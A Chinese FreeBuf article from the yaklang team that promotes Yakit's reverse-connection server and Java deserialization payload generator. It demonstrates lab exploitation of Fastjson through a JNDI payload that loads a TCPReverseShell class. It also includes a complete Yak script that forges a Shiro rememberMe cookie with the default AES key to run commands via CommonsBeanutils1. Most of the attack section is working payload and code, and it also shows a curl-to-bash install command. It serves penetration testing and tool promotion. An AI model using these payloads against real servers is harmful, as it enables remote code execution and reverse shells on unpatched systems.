freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

新功能史上最好用的反连&JavaHack,安全能力基座强化ing
yaklang 2022-10-14 17:28:27 184250
所属地 四川省

反序列化、类加载、JNDI漏洞利用是Java漏洞中特别常见的几种类型,但相对来说利用过程又是较为复杂的。所以Yakit提供了两个特别好用的功能,无需Java环境,仅需一个Yakit。

下面先介绍下使用方法再演示下实战利用。

反连服务器

返连服务可用于手工渗透测试,既可用于漏洞检测,也可用于漏洞利用。

本地启动

初始页面如图(如果有配置公网反连,则会自动启用公网穿透,并自动填写Bridge信息),反连地址默认是获取本机的第一块网卡IP

启动成功后如图,根据需求填写蓝色提示框内的地址

漏洞检测

写一段java代码测试下连接

在Yakit上可以看见收到请求,token为aaa,返回内容为<empty>(代表响应内容为空)

漏洞利用

在返连页面右上角有个Payload配置,开启后可以看见左面出现类似 Yso-Java Hack 的页面,在这里可以配置payload,命令填写open /System/Applications/Calculator.app,然后点生成。可以看见返连地址自动添加了token。

复制新地址,再试一下连接ldap,发现弹出计算器

在 Yakit 上可以看见利用流程: 受害端发出 ldap 请求,Yakit 返回一个 reference 类,指向一个 web 地址 -> 受害端访问 web 地址,Yakit 返回一个恶意类 -> 受害端加载恶意类导致命令执行。

公网穿透

对于公网的目标,反连服务就需要在公网监听了,一是可以将Yak引擎公网部署,二是可以在公网搭建Bridge,这里主要讲下第二种方法。

首先需要在虚拟服务器上安装 Yak 引擎(执行bash <(curl -sS -L http://oss.yaklang.io/install-latest-yak.sh)进行安装),执行yak grpc --secret yourpassword启动Bridge,更多介绍可以看这篇文章《想拥有自己的 Yak Bridge? DNSLog、ICMPLog、TCPLog 全部免费》。

如图输入 Bridge 地址和密码,启动(如果报错 connection refused 则表示连接 Bridge 失败,检查下密码是否正确、端口是否成功开启、服务器上是否有防火墙限制、云服务控制台上是否设置了安全策略)

连接成功后可以看到反连地址的 IP 已经变为 Bridge 服务器的 IP 了,接下来的操作和本地启动相同。

Yso-Java Hack

页面初始状态如图,左侧配置 payload 参数,右侧用来展示生成的 payload

生成序列化payload

默认开启 “使用利用链”,即生成序列化 payload ,一级选项是利用链,二级选项是恶意类。鼠标放到小问号上可以看到介绍。

选择利用链和恶意类后,会出现配置表单,类名默认是随机生成的,填写所有表单信息,点击生成,就可以在右侧看到生成的 payload ,点击上方可以切换展示方式。

还可以展示生成payload的代码,还可以将代码发送到Yak Runner,师傅们写插件时如果懒得写,就可以直接在这里直接生成代码。

最新版本 payload 展示类型增加了一个 DUMP ,可以看到 payload 的数据结构,像下面这样。

生成恶意类

如图,关闭 “使用利用链” 就可以生成恶意类,具体操作和生成利用链类似

可以看见关闭 “使用利用链” 时多了一个启动反连服务按钮,下面再看一下反连服务。

配合反连使用

在配置好恶意类后,点击启动反连,就可以使用当前恶意类直接启动反连了(如果配置了公网反连则使用此配置启动,否则使用本地启动,如果启动失败,请自行在高级配置里配置反连地址),如图

实战测试

新功能介绍完了,下面看下实战场景吧,以 Fastjson 和 shiro 利用为例

Fastjson测试

这里使用 vulfocus 启动一个 CNVD-2017-02833 实例,攻击流程如下

  1. 在 虚拟服务器 启动一个 yak 引擎yak grpc --host 0.0.0.0,Yakit 端输入服务器地址和端口(默认8087),连接

  1. 打开Yakit的端口监听器,监听一个端口,以 8086 为例

  1. 启动反连服务器并配置恶意类为 TCPReverseShell ,主机填 虚拟服务器的 ip ,端口填上面监听的 8086 ,点击应用

  1. 打开 webfuzzer,发送 Payload

POST / HTTP/1.1
Host: 目标地址
Content-Type: application/json

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"<这里填写 “LDAP反连地址” 或 “RMI反连地址” >",
        "autoCommit":true
    }
}

如图,反连列表中可以看见成功收到 LDAP 和 HTTP 请求,说明目标成功加载了恶意类(如果只收到 LDAP 请求,没有 HTTP 请求,可能是目标未开启 com.sun.jndi.ldap.object.trustURLCodebase )

端口监听器收到了目标机器的连接


Shiro测试

使用vulfocus/shiro-CVE-2016-4437镜像搭建环境,启动Yakit

打开Yso-Java Hack,利用链选择CommonsBeanutils1,恶意类选择RuntimeExec,填写命令,生成Yak代码

编写Yak脚本

// 生成key
base64Key=`kPH+bIxk5D2deZiIxcaaaA==`
key,_ = codec.DecodeBase64(base64Key)
// 生成payload
gadgetObj,err = yso.GetCommonsBeanutils1JavaObject(yso.useRuntimeExecEvilClass("touch /tmp/111"),yso.obfuscationClassConstantPool(),yso.evilClassName("yVeqoYww"))
if err != nil {
    println(err.Error())
    return
}
payload,err = yso.ToBytes(gadgetObj)
// 加密payload
payload = codec.PKCS5Padding(payload, 16)
encodePayload = codec.AESCBCEncrypt(key, payload, nil)[0]
finalPayload = codec.EncodeBase64(append(key, encodePayload...))
// 发送payload
rsp,req,err = poc.HTTP(`GET /login HTTP/1.1
Host: 目标
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: no-cache
Cookie: rememberMe={{params(payload)}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36

`,poc.params({"payload":finalPayload}))
headers, _ = str.SplitHTTPHeadersAndBodyFromPacket(rsp)
println(string(headers))

执行后进入容器看见/tmp目录下多了111文件,利用成功

总结

有些Java漏洞的利用太繁琐了,需要java环境、多种工具配合使用、还要在虚拟服务器上看回显、记各种命令…

对比之下 Yakit 真的太好用了。本次更新的两个功能基本上可以解决大部分Java漏洞利用的场景,希望师傅们多多使用,欢迎提出意见。

附上插件最新功能速递:

插件可以申请修改他人的插件啦~作者同意修改后,插件协作者也会增加你的署名噢~

插件仓库—下载—编辑—提交申请内容,只需几步轻松完成

提交修改以后,可在“日志”查看修改记录,以及作者审核结果

为了帮助作者更好审核插件,贴心提供了插件源码的对比功能,一眼就可看出修改内容

# 网络安全 # 漏洞分析
本文为 yaklang 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee2022)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
yaklang LV.8
做难而正确的事!
  • 150 文章数
  • 102 关注者
SyntaxFlow Java实战(一):值的搜索与筛选
2025-03-10
Yak 在 AI 浪潮中应该如何存活?
2025-03-03
Oi,不要小看Proxy浏览器插件与Yak之间的羁绊啊!
2025-02-21
文章目录